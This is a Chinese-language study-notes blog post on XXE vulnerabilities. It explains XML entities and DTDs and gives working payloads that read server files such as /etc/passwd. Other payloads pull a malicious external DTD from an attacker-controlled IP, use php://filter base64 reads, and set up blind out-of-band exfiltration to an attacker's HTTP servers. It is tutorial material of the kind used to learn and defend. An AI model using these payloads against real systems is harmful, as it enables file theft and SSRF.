XXE漏洞学习笔记

Posted xialuoxialuo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE漏洞学习笔记相关的知识,希望对你有一定的参考价值。

一、XML定义

看一段示例

<?xml version="1.0" encoding="ISO-8859-1"?>   //用来说明xml格式的数据的开始,告诉xml解析器版本号
<!DOCTYPE foo [									//DTD文档的开始
<!ELEMENT foo ANY >								//创建一个元素
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>	//定义一个外部实体
<creds>											//xml数据开始   <creds>为父元素
    <user>&xxe;</user>							//& 代表引用上述定义的的实体	<user>为子元素  尖括号和单双引号
    <pass>mypass</pass>
</creds>

元素:从开始标签到结束标签为一个元素

XML格式

<?xml version=“1.0”>
<! DOCTYPE foo[ ]> //DTD文档
//xml数据

XML解析器在第一行被以指定的版本启动后,下一步检查DTD是否合法

随后解析xml格式的数据

XML与html的异同

相同相异
都为标记型语言XML属性必须加引号
所有元素均可拥有文本内容和属性标签闭合规则严格
HTML侧重于数据的展示 XML侧重于数据的传输
HTML标签是实现被预定的

二、DTD与ENEITY

DTD:文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

由于XML元素中不能加入尖括号和单双引号等特殊字符

但是传输时又需要用到该字符

于是出现 实体 ENEITY**这个定义

实体又分为三类

1.一般实体

<!ENTITY name "pwn">
...
..

<hello>&name;</hello>

2.参数实体

参数实体只用于 DTD 和文档的内部子集中

将一个实体作为值 赋给另一个实体

<!ENEITY % name "<!ENEITY boy 'john'>">

3.预定义实体

因为为解决不能使用尖括号等特殊符号问题

使用 #x3c 的代替 很像各类编程语言中的预留字符串

<hello>&#x3c;</hello>

三、WHAT IS SYSTEM?

如下所示,我们经常在payload中看到SYSTEM 这个关键字

它的作用是告诉xml解析器 需要xml解析器去获取该处的外部实体资源 并将该值赋给name实体


<?xml version="1.0" >

<!DOCTYPE xxe[

​	<!ENEITY name SYSTEM "file:///etc/passwd">

]>

<pwn>&name;</pwn>


可以看到SYSTEM 后跟的file协议 XXE 除file协议外 还支持多种协议 比如利用http协议来完成SSRF

四、利用

0X01回显

服务器将xml执行结果直接回显的情况下

直接修改body值如下

读取到system.ini

0X02 CDATA

当我们读取system.ini文件时正常回显

但是当我们读取如下奇奇怪怪的文件时

因为该文件中的<>尖括号等特殊字符 破坏了xml文档的结构 让解析器分不清

于是我们在此处使用CDATA

所有 XML 文档中的文本均会被解析器解析。

只有 CDATA 区段(CDATA section)中的文本会被解析器忽略。

术语 CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。

在 XML 元素中,"<" 和 “&” 是非法的。

“<” 会产生错误,因为解析器会把该字符解释为新元素的开始。

“&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

某些文本,比如 javascript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。

CDATA 部分中的所有内容都会被解析器忽略。

CDATA 部分由 “<![CDATA[*" 开始,由 "*]]>” 结束:

所以需要我们将读出来的数据放在CDATA中 避免XML解析器的解析

初步payload如下 这样拼接出来的数据的大致格式就是这个样子 使用CDATA 将我们要读的数据包裹起来

<![CDATA[passwd]]>
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///C:/Users/11727/Desktop/1.txt">  
<!ENTITY % end "]]>">  
<!ENTITY all "&start;$goodies;%end;"> 
 ]> 

<roottag>&all;</roottag>

0x03报错

根据报错 以及查看xml文档

原因是 不允许在实体定义过程中 直接将一个参数实体作为值赋给另一个实体

但是若在外部实体 允许参数实体的调用

0x04 Bypass

既然不允许在内部dtd中直接进行参数实体的引用 那我们就将该步骤放在外部dtd中完成

1、引用外部的恶意DTD

2、由DTD 中定义的实体分别进行读取和发送操作

修改payload如下 引用外部的名为evil的dtd文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///C:/Users/11727/Desktop/1.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://192.168.2.58/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd内容如下

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

成功读出数据(经过测试 数据符号太多的时候 换行太多还是读取失败 比如说etcpasswd也是乱码)

0x04 不回显

大多数情况下 服务器是不会将执行的xml的结果返回

所以我们需要在确定服务器执行了我们的xml代码后 并把数据带出来 是 Blind XXE

此时有两个动作 1、读取服务器上的数据 2、将该数据发送至我们的服务器

首先在攻击机服务器中启动http服务 为了更好的观察到执行的流程 此处启动两个端口 分别是80 和1337

python -m SimpleHTTPServer 1337

python -m SimpleHTTPServer 80

之后将外部DTD的目录下开启80端口

外部DTD内容如下

payload如下


|

之后发送payload后报错如下

(即使使用了CDATA 还是有乱码的可能,在读取文件操作时加上,将要读取的数据变为base64

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">

总结

我们的payload中的 加载远程恶意dtd

调用使用了名为send的实体

因此服务器开放的80首先收到了get请求


之后xml解释器在加载外部恶意dtd

根据dtd 调用wrapper 将http://**/passwd的值 赋给wrapper 在该过程前 将读取文件的值 赋给passwd

恶意dtd加载完毕

又通过send实体加载了passwd实体完成读取的操作后 向1337端口发起了请求

该行为可以通过1337端口HTTP服务的日志观察到

防御

禁止解析外部实体

禁止定义DTD

以上是关于XXE漏洞学习笔记的主要内容,如果未能解决你的问题,请参考以下文章

XXE漏洞学习笔记

XXE漏洞学习笔记

NSATP-A学习笔记之Day2-7xxe漏洞

网络安全:SSRF+XXE漏洞挖掘笔记

XXE漏洞学习

(2020上半年第28天(其他漏洞--XXE及口令安全))小迪网络安全笔记